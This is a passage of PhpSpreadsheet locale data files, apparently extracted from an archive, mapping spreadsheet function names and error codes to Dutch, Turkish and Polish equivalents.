BITRSHIFT = BIT.VERSCHUIF.RECHTS BITXOR = BIT.EX.OF COMPLEX = COMPLEX CONVERT = CONVERTEREN DEC2BIN = DEC.N.BIN DEC2HEX = DEC.N.HEX DEC2OCT = DEC.N.OCT DELTA = DELTA ERF = FOUTFUNCTIE ERF.PRECISE = FOUTFUNCTIE.NAUWKEURIG ERFC = FOUT.COMPLEMENT ERFC.PRECISE = FOUT.COMPLEMENT.NAUWKEURIG GESTEP = GROTER.DAN HEX2BIN = HEX.N.BIN HEX2DEC = HEX.N.DEC HEX2OCT = HEX.N.OCT IMABS = C.ABS IMAGINARY = C.IM.DEEL IMARGUMENT = C.ARGUMENT IMCONJUGATE = C.TOEGEVOEGD IMCOS = C.COS IMCOSH = C.COSH IMCOT = C.COT IMCSC = C.COSEC IMCSCH = C.COSECH IMDIV = C.QUOTIENT IMEXP = C.EXP IMLN = C.LN IMLOG10 = C.LOG10 IMLOG2 = C.LOG2 IMPOWER = C.MACHT IMPRODUCT = C.PRODUCT IMREAL = C.REEEL.DEEL IMSEC = C.SEC IMSECH = C.SECH IMSIN = C.SIN IMSINH = C.SINH IMSQRT = C.WORTEL IMSUB = C.VERSCHIL IMSUM = C.SOM IMTAN = C.TAN OCT2BIN = OCT.N.BIN OCT2DEC = OCT.N.DEC OCT2HEX = OCT.N.HEX ## ## Financiële functies (Financial Functions) ## ACCRINT = SAMENG.RENTE ACCRINTM = SAMENG.RENTE.V AMORDEGRC = AMORDEGRC AMORLINC = AMORLINC COUPDAYBS = COUP.DAGEN.BB COUPDAYS = COUP.DAGEN COUPDAYSNC = COUP.DAGEN.VV COUPNCD = COUP.DATUM.NB COUPNUM = COUP.AANTAL COUPPCD = COUP.DATUM.VB CUMIPMT = CUM.RENTE CUMPRINC = CUM.HOOFDSOM DB = DB DDB = DDB DISC = DISCONTO DOLLARDE = EURO.DE DOLLARFR = EURO.BR DURATION = DUUR EFFECT = EFFECT.RENTE FV = TW FVSCHEDULE = TOEK.WAARDE2 INTRATE = RENTEPERCENTAGE IPMT = IBET IRR = IR ISPMT = ISBET MDURATION = AANG.DUUR MIRR = GIR NOMINAL = NOMINALE.RENTE NPER = NPER NPV = NHW ODDFPRICE = AFW.ET.PRIJS ODDFYIELD = AFW.ET.REND ODDLPRICE = AFW.LT.PRIJS ODDLYIELD = AFW.LT.REND PDURATION = PDUUR PMT = BET PPMT = PBET PRICE = PRIJS.NOM PRICEDISC = PRIJS.DISCONTO PRICEMAT = PRIJS.VERVALDAG PV = HW RATE = RENTE RECEIVED = OPBRENGST RRI = RRI SLN = LIN.AFSCHR SYD = SYD TBILLEQ = SCHATK.OBL TBILLPRICE = SCHATK.PRIJS TBILLYIELD = SCHATK.REND VDB = VDB XIRR = IR.SCHEMA XNPV = NHW2 YIELD = RENDEMENT YIELDDISC = REND.DISCONTO YIELDMAT = REND.VERVAL ## ## Informatiefuncties (Information Functions) ## CELL = CEL ERROR.TYPE = TYPE.FOUT INFO = INFO ISBLANK = ISLEEG ISERR = ISFOUT2 ISERROR = ISFOUT ISEVEN = IS.EVEN ISFORMULA = ISFORMULE ISLOGICAL = ISLOGISCH ISNA = ISNB ISNONTEXT = ISGEENTEKST ISNUMBER = ISGETAL ISODD = IS.ONEVEN ISREF = ISVERWIJZING ISTEXT = ISTEKST N = N NA = NB SHEET = BLAD SHEETS = BLADEN TYPE = TYPE ## ## Logische functies (Logical Functions) ## AND = EN FALSE = ONWAAR IF = ALS IFERROR = ALS.FOUT IFNA = ALS.NB IFS = ALS.VOORWAARDEN NOT = NIET OR = OF SWITCH = SCHAKELEN TRUE = WAAR XOR = EX.OF ## ## Zoek- en verwijzingsfuncties (Lookup & Reference Functions) ## ADDRESS = ADRES AREAS = BEREIKEN CHOOSE = KIEZEN COLUMN = KOLOM COLUMNS = KOLOMMEN FORMULATEXT = FORMULETEKST GETPIVOTDATA = DRAAITABEL.OPHALEN HLOOKUP = HORIZ.ZOEKEN HYPERLINK = HYPERLINK INDEX = INDEX INDIRECT = INDIRECT LOOKUP = ZOEKEN MATCH = VERGELIJKEN OFFSET = VERSCHUIVING ROW = RIJ ROWS = RIJEN RTD = RTG TRANSPOSE = TRANSPONEREN VLOOKUP = VERT.ZOEKEN *RC = RK ## ## Wiskundige en trigonometrische functies (Math & Trig Functions) ## ABS = ABS ACOS = BOOGCOS ACOSH = BOOGCOSH ACOT = BOOGCOT ACOTH = BOOGCOTH AGGREGATE = AGGREGAAT ARABIC = ARABISCH ASIN = BOOGSIN ASINH = BOOGSINH ATAN = BOOGTAN ATAN2 = BOOGTAN2 ATANH = BOOGTANH BASE = BASIS CEILING.MATH = AFRONDEN.BOVEN.WISK CEILING.PRECISE = AFRONDEN.BOVEN.NAUWKEURIG COMBIN = COMBINATIES COMBINA = COMBIN.A COS = COS COSH = COSH COT = COT COTH = COTH CSC = COSEC CSCH = COSECH DECIMAL = DECIMAAL DEGREES = GRADEN ECMA.CEILING = ECMA.AFRONDEN.BOVEN EVEN = EVEN EXP = EXP FACT = FACULTEIT FACTDOUBLE = DUBBELE.FACULTEIT FLOOR.MATH = AFRONDEN.BENEDEN.WISK FLOOR.PRECISE = AFRONDEN.BENEDEN.NAUWKEURIG GCD = GGD INT = INTEGER ISO.CEILING = ISO.AFRONDEN.BOVEN LCM = KGV LN = LN LOG = LOG LOG10 = LOG10 MDETERM = DETERMINANTMAT MINVERSE = INVERSEMAT MMULT = PRODUCTMAT MOD = REST MROUND = AFRONDEN.N.VEELVOUD MULTINOMIAL = MULTINOMIAAL MUNIT = EENHEIDMAT ODD = ONEVEN PI = PI POWER = MACHT PRODUCT = PRODUCT QUOTIENT = QUOTIENT RADIANS = RADIALEN RAND = ASELECT RANDBETWEEN = ASELECTTUSSEN ROMAN = ROMEINS ROUND = AFRONDEN ROUNDBAHTDOWN = BAHT.AFR.NAAR.BENEDEN ROUNDBAHTUP = BAHT.AFR.NAAR.BOVEN ROUNDDOWN = AFRONDEN.NAAR.BENEDEN ROUNDUP = AFRONDEN.NAAR.BOVEN SEC = SEC SECH = SECH SERIESSUM = SOM.MACHTREEKS SIGN = POS.NEG SIN = SIN SINH = SINH SQRT = WORTEL SQRTPI = WORTEL.PI SUBTOTAL = SUBTOTAAL SUM = SOM SUMIF = SOM.ALS SUMIFS = SOMMEN.ALS SUMPRODUCT = SOMPRODUCT SUMSQ = KWADRATENSOM SUMX2MY2 = SOM.X2MINY2 SUMX2PY2 = SOM.X2PLUSY2 SUMXMY2 = SOM.XMINY.2 TAN = TAN TANH = TANH TRUNC = GEHEEL ## ## Statistische functies (Statistical Functions) ## AVEDEV = GEM.DEVIATIE AVERAGE = GEMIDDELDE AVERAGEA = GEMIDDELDEA AVERAGEIF = GEMIDDELDE.ALS AVERAGEIFS = GEMIDDELDEN.ALS BETA.DIST = BETA.VERD BETA.INV = BETA.INV BINOM.DIST = BINOM.VERD BINOM.DIST.RANGE = BINOM.VERD.BEREIK BINOM.INV = BINOMIALE.INV CHISQ.DIST = CHIKW.VERD CHISQ.DIST.RT = CHIKW.VERD.RECHTS CHISQ.INV = CHIKW.INV CHISQ.INV.RT = CHIKW.INV.RECHTS CHISQ.TEST = CHIKW.TEST CONFIDENCE.NORM = VERTROUWELIJKHEID.NORM CONFIDENCE.T = VERTROUWELIJKHEID.T CORREL = CORRELATIE COUNT = AANTAL COUNTA = AANTALARG COUNTBLANK = AANTAL.LEGE.CELLEN COUNTIF = AANTAL.ALS COUNTIFS = AANTALLEN.ALS COVARIANCE.P = COVARIANTIE.P COVARIANCE.S = COVARIANTIE.S DEVSQ = DEV.KWAD EXPON.DIST = EXPON.VERD.N F.DIST = F.VERD F.DIST.RT = F.VERD.RECHTS F.INV = F.INV F.INV.RT = F.INV.RECHTS F.TEST = F.TEST FISHER = FISHER FISHERINV = FISHER.INV FORECAST.ETS = VOORSPELLEN.ETS FORECAST.ETS.CONFINT = VOORSPELLEN.ETS.CONFINT FORECAST.ETS.SEASONALITY = VOORSPELLEN.ETS.SEASONALITY FORECAST.ETS.STAT = FORECAST.ETS.STAT FORECAST.LINEAR = VOORSPELLEN.LINEAR FREQUENCY = INTERVAL GAMMA = GAMMA GAMMA.DIST = GAMMA.VERD.N GAMMA.INV = GAMMA.INV.N GAMMALN = GAMMA.LN GAMMALN.PRECISE = GAMMA.LN.NAUWKEURIG GAUSS = GAUSS GEOMEAN = MEETK.GEM GROWTH = GROEI HARMEAN = HARM.GEM HYPGEOM.DIST = HYPGEOM.VERD INTERCEPT = SNIJPUNT KURT = KURTOSIS LARGE = GROOTSTE LINEST = LIJNSCH LOGEST = LOGSCH LOGNORM.DIST = LOGNORM.VERD LOGNORM.INV = LOGNORM.INV MAX = MAX MAXA = MAXA MAXIFS = MAX.ALS.VOORWAARDEN MEDIAN = MEDIAAN MIN = MIN MINA = MINA MINIFS = MIN.ALS.VOORWAARDEN MODE.MULT = MODUS.MEERV MODE.SNGL = MODUS.ENKELV NEGBINOM.DIST = NEGBINOM.VERD NORM.DIST = NORM.VERD.N NORM.INV = NORM.INV.N NORM.S.DIST = NORM.S.VERD NORM.S.INV = NORM.S.INV PEARSON = PEARSON PERCENTILE.EXC = PERCENTIEL.EXC PERCENTILE.INC = PERCENTIEL.INC PERCENTRANK.EXC = PROCENTRANG.EXC PERCENTRANK.INC = PROCENTRANG.INC PERMUT = PERMUTATIES PERMUTATIONA = PERMUTATIE.A PHI = PHI POISSON.DIST = POISSON.VERD PROB = KANS QUARTILE.EXC = KWARTIEL.EXC QUARTILE.INC = KWARTIEL.INC RANK.AVG = RANG.GEMIDDELDE RANK.EQ = RANG.GELIJK RSQ = R.KWADRAAT SKEW = SCHEEFHEID SKEW.P = SCHEEFHEID.P SLOPE = RICHTING SMALL = KLEINSTE STANDARDIZE = NORMALISEREN STDEV.P = STDEV.P STDEV.S = STDEV.S STDEVA = STDEVA STDEVPA = STDEVPA STEYX = STAND.FOUT.YX T.DIST = T.DIST T.DIST.2T = T.VERD.2T T.DIST.RT = T.VERD.RECHTS T.INV = T.INV T.INV.2T = T.INV.2T T.TEST = T.TEST TREND = TREND TRIMMEAN = GETRIMD.GEM VAR.P = VAR.P VAR.S = VAR.S VARA = VARA VARPA = VARPA WEIBULL.DIST = WEIBULL.VERD Z.TEST = Z.TEST ## ## Tekstfuncties (Text Functions) ## BAHTTEXT = BAHT.TEKST CHAR = TEKEN CLEAN = WISSEN.CONTROL CODE = CODE CONCAT = TEKST.SAMENV DOLLAR = EURO EXACT = GELIJK FIND = VIND.ALLES FIXED = VAST ISTHAIDIGIT = IS.THAIS.CIJFER LEFT = LINKS LEN = LENGTE LOWER = KLEINE.LETTERS MID = DEEL NUMBERSTRING = GETALNOTATIE NUMBERVALUE = NUMERIEKE.WAARDE PHONETIC = FONETISCH PROPER = BEGINLETTERS REPLACE = VERVANGEN REPT = HERHALING RIGHT = RECHTS SEARCH = VIND.SPEC SUBSTITUTE = SUBSTITUEREN T = T TEXT = TEKST TEXTJOIN = TEKST.COMBINEREN THAIDIGIT = THAIS.CIJFER THAINUMSOUND = THAIS.GETAL.GELUID THAINUMSTRING = THAIS.GETAL.REEKS THAISTRINGLENGTH = THAIS.REEKS.LENGTE TRIM = SPATIES.WISSEN UNICHAR = UNITEKEN UNICODE = UNICODE UPPER = HOOFDLETTERS VALUE = WAARDE ## ## Webfuncties (Web Functions) ## ENCODEURL = URL.CODEREN FILTERXML = XML.FILTEREN WEBSERVICE = WEBSERVICE ## ## Compatibiliteitsfuncties (Compatibility Functions) ## BETADIST = BETAVERD BETAINV = BETAINV BINOMDIST = BINOMIALE.VERD CEILING = AFRONDEN.BOVEN CHIDIST = CHI.KWADRAAT CHIINV = CHI.KWADRAAT.INV CHITEST = CHI.TOETS CONCATENATE = TEKST.SAMENVOEGEN CONFIDENCE = BETROUWBAARHEID COVAR = COVARIANTIE CRITBINOM = CRIT.BINOM EXPONDIST = EXPON.VERD FDIST = F.VERDELING FINV = F.INVERSE FLOOR = AFRONDEN.BENEDEN FORECAST = VOORSPELLEN FTEST = F.TOETS GAMMADIST = GAMMA.VERD GAMMAINV = GAMMA.INV HYPGEOMDIST = HYPERGEO.VERD LOGINV = LOG.NORM.INV LOGNORMDIST = LOG.NORM.VERD MODE = MODUS NEGBINOMDIST = NEG.BINOM.VERD NORMDIST = NORM.VERD NORMINV = NORM.INV NORMSDIST = STAND.NORM.VERD NORMSINV = STAND.NORM.INV PERCENTILE = PERCENTIEL PERCENTRANK = PERCENT.RANG POISSON = POISSON QUARTILE = KWARTIEL RANK = RANG STDEV = STDEV STDEVP = STDEVP TDIST = T.VERD TINV = TINV TTEST = T.TOETS VAR = VAR VARP = VARP WEIBULL = WEIBULL ZTEST = Z.TOETS phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/nl/config000064400000000514151676714400022545 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## Nederlands (Dutch) ## ############################################################ ArgumentSeparator = ; ## ## Error Codes ## NULL = #LEEG! DIV0 = #DEEL/0! VALUE = #WAARDE! REF = #VERW! NAME = #NAAM? NUM = #GETAL! NA = #N/B phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/tr/functions000064400000024411151676714400023326 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## Türkçe (Turkish) ## ############################################################ ## ## Küp işlevleri (Cube Functions) ## CUBEKPIMEMBER = KÜPKPIÜYESİ CUBEMEMBER = KÜPÜYESİ CUBEMEMBERPROPERTY = KÜPÜYEÖZELLİĞİ CUBERANKEDMEMBER = DERECELİKÜPÜYESİ CUBESET = KÜPKÜMESİ CUBESETCOUNT = KÜPKÜMESAYISI CUBEVALUE = KÜPDEĞERİ ## ## Veritabanı işlevleri (Database Functions) ## DAVERAGE = VSEÇORT DCOUNT = VSEÇSAY DCOUNTA = VSEÇSAYDOLU DGET = VAL DMAX = VSEÇMAK DMIN = VSEÇMİN DPRODUCT = VSEÇÇARP DSTDEV = VSEÇSTDSAPMA DSTDEVP = VSEÇSTDSAPMAS DSUM = VSEÇTOPLA DVAR = VSEÇVAR DVARP = VSEÇVARS ## ## Tarih ve saat işlevleri (Date & Time Functions) ## DATE = TARİH DATEDIF = ETARİHLİ DATESTRING = TARİHDİZİ DATEVALUE = TARİHSAYISI DAY = GÜN DAYS = GÜNSAY DAYS360 = GÜN360 EDATE = SERİTARİH EOMONTH = SERİAY HOUR = SAAT ISOWEEKNUM = ISOHAFTASAY MINUTE = DAKİKA MONTH = AY NETWORKDAYS = TAMİŞGÜNÜ NETWORKDAYS.INTL = TAMİŞGÜNÜ.ULUSL NOW = ŞİMDİ SECOND = SANİYE THAIDAYOFWEEK = TAYHAFTANINGÜNÜ THAIMONTHOFYEAR = TAYYILINAYI THAIYEAR = TAYYILI TIME = ZAMAN TIMEVALUE = ZAMANSAYISI TODAY = BUGÜN WEEKDAY = HAFTANINGÜNÜ WEEKNUM = HAFTASAY WORKDAY = İŞGÜNÜ WORKDAY.INTL = İŞGÜNÜ.ULUSL YEAR = YIL YEARFRAC = YILORAN ## ## Mühendislik işlevleri (Engineering Functions) ## BESSELI = BESSELI BESSELJ = BESSELJ BESSELK = BESSELK BESSELY = BESSELY BIN2DEC = BIN2DEC BIN2HEX = BIN2HEX BIN2OCT = BIN2OCT BITAND = BİTVE BITLSHIFT = BİTSOLAKAYDIR BITOR = BİTVEYA BITRSHIFT = BİTSAĞAKAYDIR BITXOR = BİTÖZELVEYA COMPLEX = KARMAŞIK CONVERT = ÇEVİR DEC2BIN = DEC2BIN DEC2HEX = DEC2HEX DEC2OCT = DEC2OCT DELTA = DELTA ERF = HATAİŞLEV ERF.PRECISE = HATAİŞLEV.DUYARLI ERFC = TÜMHATAİŞLEV ERFC.PRECISE = TÜMHATAİŞLEV.DUYARLI GESTEP = BESINIR HEX2BIN = HEX2BIN HEX2DEC = HEX2DEC HEX2OCT = HEX2OCT IMABS = SANMUTLAK IMAGINARY = SANAL IMARGUMENT = SANBAĞ_DEĞİŞKEN IMCONJUGATE = SANEŞLENEK IMCOS = SANCOS IMCOSH = SANCOSH IMCOT = SANCOT IMCSC = SANCSC IMCSCH = SANCSCH IMDIV = SANBÖL IMEXP = SANÜS IMLN = SANLN IMLOG10 = SANLOG10 IMLOG2 = SANLOG2 IMPOWER = SANKUVVET IMPRODUCT = SANÇARP IMREAL = SANGERÇEK IMSEC = SANSEC IMSECH = SANSECH IMSIN = SANSIN IMSINH = SANSINH IMSQRT = SANKAREKÖK IMSUB = SANTOPLA IMSUM = SANÇIKAR IMTAN = SANTAN OCT2BIN = OCT2BIN OCT2DEC = OCT2DEC OCT2HEX = OCT2HEX ## ## Finansal işlevler (Financial Functions) ## ACCRINT = GERÇEKFAİZ ACCRINTM = GERÇEKFAİZV AMORDEGRC = AMORDEGRC AMORLINC = AMORLINC COUPDAYBS = KUPONGÜNBD COUPDAYS = KUPONGÜN COUPDAYSNC = KUPONGÜNDSK COUPNCD = KUPONGÜNSKT COUPNUM = KUPONSAYI COUPPCD = KUPONGÜNÖKT CUMIPMT = TOPÖDENENFAİZ CUMPRINC = TOPANAPARA DB = AZALANBAKİYE DDB = ÇİFTAZALANBAKİYE DISC = İNDİRİM DOLLARDE = LİRAON DOLLARFR = LİRAKES DURATION = SÜRE EFFECT = ETKİN FV = GD FVSCHEDULE = GDPROGRAM INTRATE = FAİZORANI IPMT = FAİZTUTARI IRR = İÇ_VERİM_ORANI ISPMT = ISPMT MDURATION = MSÜRE MIRR = D_İÇ_VERİM_ORANI NOMINAL = NOMİNAL NPER = TAKSİT_SAYISI NPV = NBD ODDFPRICE = TEKYDEĞER ODDFYIELD = TEKYÖDEME ODDLPRICE = TEKSDEĞER ODDLYIELD = TEKSÖDEME PDURATION = PSÜRE PMT = DEVRESEL_ÖDEME PPMT = ANA_PARA_ÖDEMESİ PRICE = DEĞER PRICEDISC = DEĞERİND PRICEMAT = DEĞERVADE PV = BD RATE = FAİZ_ORANI RECEIVED = GETİRİ RRI = GERÇEKLEŞENYATIRIMGETİRİSİ SLN = DA SYD = YAT TBILLEQ = HTAHEŞ TBILLPRICE = HTAHDEĞER TBILLYIELD = HTAHÖDEME VDB = DAB XIRR = AİÇVERİMORANI XNPV = ANBD YIELD = ÖDEME YIELDDISC = ÖDEMEİND YIELDMAT = ÖDEMEVADE ## ## Bilgi işlevleri (Information Functions) ## CELL = HÜCRE ERROR.TYPE = HATA.TİPİ INFO = BİLGİ ISBLANK = EBOŞSA ISERR = EHATA ISERROR = EHATALIYSA ISEVEN = ÇİFTMİ ISFORMULA = EFORMÜLSE ISLOGICAL = EMANTIKSALSA ISNA = EYOKSA ISNONTEXT = EMETİNDEĞİLSE ISNUMBER = ESAYIYSA ISODD = TEKMİ ISREF = EREFSE ISTEXT = EMETİNSE N = S NA = YOKSAY SHEET = SAYFA SHEETS = SAYFALAR TYPE = TÜR ## ## Mantıksal işlevler (Logical Functions) ## AND = VE FALSE = YANLIŞ IF = EĞER IFERROR = EĞERHATA IFNA = EĞERYOKSA IFS = ÇOKEĞER NOT = DEĞİL OR = YADA SWITCH = İLKEŞLEŞEN TRUE = DOĞRU XOR = ÖZELVEYA ## ## Arama ve başvuru işlevleri (Lookup & Reference Functions) ## ADDRESS = ADRES AREAS = ALANSAY CHOOSE = ELEMAN COLUMN = SÜTUN COLUMNS = SÜTUNSAY FORMULATEXT = FORMÜLMETNİ GETPIVOTDATA = ÖZETVERİAL HLOOKUP = YATAYARA HYPERLINK = KÖPRÜ INDEX = İNDİS INDIRECT = DOLAYLI LOOKUP = ARA MATCH = KAÇINCI OFFSET = KAYDIR ROW = SATIR ROWS = SATIRSAY RTD = GZV TRANSPOSE = DEVRİK_DÖNÜŞÜM VLOOKUP = DÜŞEYARA ## ## Matematik ve trigonometri işlevleri (Math & Trig Functions) ## ABS = MUTLAK ACOS = ACOS ACOSH = ACOSH ACOT = ACOT ACOTH = ACOTH AGGREGATE = TOPLAMA ARABIC = ARAP ASIN = ASİN ASINH = ASİNH ATAN = ATAN ATAN2 = ATAN2 ATANH = ATANH BASE = TABAN CEILING.MATH = TAVANAYUVARLA.MATEMATİK CEILING.PRECISE = TAVANAYUVARLA.DUYARLI COMBIN = KOMBİNASYON COMBINA = KOMBİNASYONA COS = COS COSH = COSH COT = COT COTH = COTH CSC = CSC CSCH = CSCH DECIMAL = ONDALIK DEGREES = DERECE ECMA.CEILING = ECMA.TAVAN EVEN = ÇİFT EXP = ÜS FACT = ÇARPINIM FACTDOUBLE = ÇİFTFAKTÖR FLOOR.MATH = TABANAYUVARLA.MATEMATİK FLOOR.PRECISE = TABANAYUVARLA.DUYARLI GCD = OBEB INT = TAMSAYI ISO.CEILING = ISO.TAVAN LCM = OKEK LN = LN LOG = LOG LOG10 = LOG10 MDETERM = DETERMİNANT MINVERSE = DİZEY_TERS MMULT = DÇARP MOD = MOD MROUND = KYUVARLA MULTINOMIAL = ÇOKTERİMLİ MUNIT = BİRİMMATRİS ODD = TEK PI = Pİ POWER = KUVVET PRODUCT = ÇARPIM QUOTIENT = BÖLÜM RADIANS = RADYAN RAND = S_SAYI_ÜRET RANDBETWEEN = RASTGELEARADA ROMAN = ROMEN ROUND = YUVARLA ROUNDBAHTDOWN = BAHTAŞAĞIYUVARLA ROUNDBAHTUP = BAHTYUKARIYUVARLA ROUNDDOWN = AŞAĞIYUVARLA ROUNDUP = YUKARIYUVARLA SEC = SEC SECH = SECH SERIESSUM = SERİTOPLA SIGN = İŞARET SIN = SİN SINH = SİNH SQRT = KAREKÖK SQRTPI = KAREKÖKPİ SUBTOTAL = ALTTOPLAM SUM = TOPLA SUMIF = ETOPLA SUMIFS = ÇOKETOPLA SUMPRODUCT = TOPLA.ÇARPIM SUMSQ = TOPKARE SUMX2MY2 = TOPX2EY2 SUMX2PY2 = TOPX2AY2 SUMXMY2 = TOPXEY2 TAN = TAN TANH = TANH TRUNC = NSAT ## ## İstatistik işlevleri (Statistical Functions) ## AVEDEV = ORTSAP AVERAGE = ORTALAMA AVERAGEA = ORTALAMAA AVERAGEIF = EĞERORTALAMA AVERAGEIFS = ÇOKEĞERORTALAMA BETA.DIST = BETA.DAĞ BETA.INV = BETA.TERS BINOM.DIST = BİNOM.DAĞ BINOM.DIST.RANGE = BİNOM.DAĞ.ARALIK BINOM.INV = BİNOM.TERS CHISQ.DIST = KİKARE.DAĞ CHISQ.DIST.RT = KİKARE.DAĞ.SAĞK CHISQ.INV = KİKARE.TERS CHISQ.INV.RT = KİKARE.TERS.SAĞK CHISQ.TEST = KİKARE.TEST CONFIDENCE.NORM = GÜVENİLİRLİK.NORM CONFIDENCE.T = GÜVENİLİRLİK.T CORREL = KORELASYON COUNT = BAĞ_DEĞ_SAY COUNTA = BAĞ_DEĞ_DOLU_SAY COUNTBLANK = BOŞLUKSAY COUNTIF = EĞERSAY COUNTIFS = ÇOKEĞERSAY COVARIANCE.P = KOVARYANS.P COVARIANCE.S = KOVARYANS.S DEVSQ = SAPKARE EXPON.DIST = ÜSTEL.DAĞ F.DIST = F.DAĞ F.DIST.RT = F.DAĞ.SAĞK F.INV = F.TERS F.INV.RT = F.TERS.SAĞK F.TEST = F.TEST FISHER = FISHER FISHERINV = FISHERTERS FORECAST.ETS = TAHMİN.ETS FORECAST.ETS.CONFINT = TAHMİN.ETS.GVNARAL FORECAST.ETS.SEASONALITY = TAHMİN.ETS.MEVSİMSELLİK FORECAST.ETS.STAT = TAHMİN.ETS.İSTAT FORECAST.LINEAR = TAHMİN.DOĞRUSAL FREQUENCY = SIKLIK GAMMA = GAMA GAMMA.DIST = GAMA.DAĞ GAMMA.INV = GAMA.TERS GAMMALN = GAMALN GAMMALN.PRECISE = GAMALN.DUYARLI GAUSS = GAUSS GEOMEAN = GEOORT GROWTH = BÜYÜME HARMEAN = HARORT HYPGEOM.DIST = HİPERGEOM.DAĞ INTERCEPT = KESMENOKTASI KURT = BASIKLIK LARGE = BÜYÜK LINEST = DOT LOGEST = LOT LOGNORM.DIST = LOGNORM.DAĞ LOGNORM.INV = LOGNORM.TERS MAX = MAK MAXA = MAKA MAXIFS = ÇOKEĞERMAK MEDIAN = ORTANCA MIN = MİN MINA = MİNA MINIFS = ÇOKEĞERMİN MODE.MULT = ENÇOK_OLAN.ÇOK MODE.SNGL = ENÇOK_OLAN.TEK NEGBINOM.DIST = NEGBİNOM.DAĞ NORM.DIST = NORM.DAĞ NORM.INV = NORM.TERS NORM.S.DIST = NORM.S.DAĞ NORM.S.INV = NORM.S.TERS PEARSON = PEARSON PERCENTILE.EXC = YÜZDEBİRLİK.HRC PERCENTILE.INC = YÜZDEBİRLİK.DHL PERCENTRANK.EXC = YÜZDERANK.HRC PERCENTRANK.INC = YÜZDERANK.DHL PERMUT = PERMÜTASYON PERMUTATIONA = PERMÜTASYONA PHI = PHI POISSON.DIST = POISSON.DAĞ PROB = OLASILIK QUARTILE.EXC = DÖRTTEBİRLİK.HRC QUARTILE.INC = DÖRTTEBİRLİK.DHL RANK.AVG = RANK.ORT RANK.EQ = RANK.EŞİT RSQ = RKARE SKEW = ÇARPIKLIK SKEW.P = ÇARPIKLIK.P SLOPE = EĞİM SMALL = KÜÇÜK STANDARDIZE = STANDARTLAŞTIRMA STDEV.P = STDSAPMA.P STDEV.S = STDSAPMA.S STDEVA = STDSAPMAA STDEVPA = STDSAPMASA STEYX = STHYX T.DIST = T.DAĞ T.DIST.2T = T.DAĞ.2K T.DIST.RT = T.DAĞ.SAĞK T.INV = T.TERS T.INV.2T = T.TERS.2K T.TEST = T.TEST TREND = EĞİLİM TRIMMEAN = KIRPORTALAMA VAR.P = VAR.P VAR.S = VAR.S VARA = VARA VARPA = VARSA WEIBULL.DIST = WEIBULL.DAĞ Z.TEST = Z.TEST ## ## Metin işlevleri (Text Functions) ## BAHTTEXT = BAHTMETİN CHAR = DAMGA CLEAN = TEMİZ CODE = KOD CONCAT = ARALIKBİRLEŞTİR DOLLAR = LİRA EXACT = ÖZDEŞ FIND = BUL FIXED = SAYIDÜZENLE ISTHAIDIGIT = TAYRAKAMIYSA LEFT = SOLDAN LEN = UZUNLUK LOWER = KÜÇÜKHARF MID = PARÇAAL NUMBERSTRING = SAYIDİZİ NUMBERVALUE = SAYIDEĞERİ PHONETIC = SES PROPER = YAZIM.DÜZENİ REPLACE = DEĞİŞTİR REPT = YİNELE RIGHT = SAĞDAN SEARCH = MBUL SUBSTITUTE = YERİNEKOY T = M TEXT = METNEÇEVİR TEXTJOIN = METİNBİRLEŞTİR THAIDIGIT = TAYRAKAM THAINUMSOUND = TAYSAYISES THAINUMSTRING = TAYSAYIDİZE THAISTRINGLENGTH = TAYDİZEUZUNLUĞU TRIM = KIRP UNICHAR = UNICODEKARAKTERİ UNICODE = UNICODE UPPER = BÜYÜKHARF VALUE = SAYIYAÇEVİR ## ## Metin işlevleri (Web Functions) ## ENCODEURL = URLKODLA FILTERXML = XMLFİLTRELE WEBSERVICE = WEBHİZMETİ ## ## Uyumluluk işlevleri (Compatibility Functions) ## BETADIST = BETADAĞ BETAINV = BETATERS BINOMDIST = BİNOMDAĞ CEILING = TAVANAYUVARLA CHIDIST = KİKAREDAĞ CHIINV = KİKARETERS CHITEST = KİKARETEST CONCATENATE = BİRLEŞTİR CONFIDENCE = GÜVENİRLİK COVAR = KOVARYANS CRITBINOM = KRİTİKBİNOM EXPONDIST = ÜSTELDAĞ FDIST = FDAĞ FINV = FTERS FLOOR = TABANAYUVARLA FORECAST = TAHMİN FTEST = FTEST GAMMADIST = GAMADAĞ GAMMAINV = GAMATERS HYPGEOMDIST = HİPERGEOMDAĞ LOGINV = LOGTERS LOGNORMDIST = LOGNORMDAĞ MODE = ENÇOK_OLAN NEGBINOMDIST = NEGBİNOMDAĞ NORMDIST = NORMDAĞ NORMINV = NORMTERS NORMSDIST = NORMSDAĞ NORMSINV = NORMSTERS PERCENTILE = YÜZDEBİRLİK PERCENTRANK = YÜZDERANK POISSON = POISSON QUARTILE = DÖRTTEBİRLİK RANK = RANK STDEV = STDSAPMA STDEVP = STDSAPMAS TDIST = TDAĞ TINV = TTERS TTEST = TTEST VAR = VAR VARP = VARS WEIBULL = WEIBULL ZTEST = ZTEST phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/tr/config000064400000000512151676714400022557 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## Türkçe (Turkish) ## ############################################################ ArgumentSeparator = ; ## ## Error Codes ## NULL = #BOŞ! DIV0 = #SAYI/0! VALUE = #DEĞER! REF = #BAŞV! NAME = #AD? NUM = #SAYI! NA = #YOK phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/pl/functions000064400000026520151676714400023317 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## Jezyk polski (Polish) ## ############################################################ ## ## Funkcje baz danych (Cube Functions) ## CUBEKPIMEMBER = ELEMENT.KPI.MODUŁU CUBEMEMBER = ELEMENT.MODUŁU CUBEMEMBERPROPERTY = WŁAŚCIWOŚĆ.ELEMENTU.MODUŁU CUBERANKEDMEMBER = USZEREGOWANY.ELEMENT.MODUŁU CUBESET = ZESTAW.MODUŁÓW CUBESETCOUNT = LICZNIK.MODUŁÓW.ZESTAWU CUBEVALUE = WARTOŚĆ.MODUŁU ## ## Funkcje baz danych (Database Functions) ## DAVERAGE = BD.ŚREDNIA DCOUNT = BD.ILE.REKORDÓW DCOUNTA = BD.ILE.REKORDÓW.A DGET = BD.POLE DMAX = BD.MAX DMIN = BD.MIN DPRODUCT = BD.ILOCZYN DSTDEV = BD.ODCH.STANDARD DSTDEVP = BD.ODCH.STANDARD.POPUL DSUM = BD.SUMA DVAR = BD.WARIANCJA DVARP = BD.WARIANCJA.POPUL ## ## 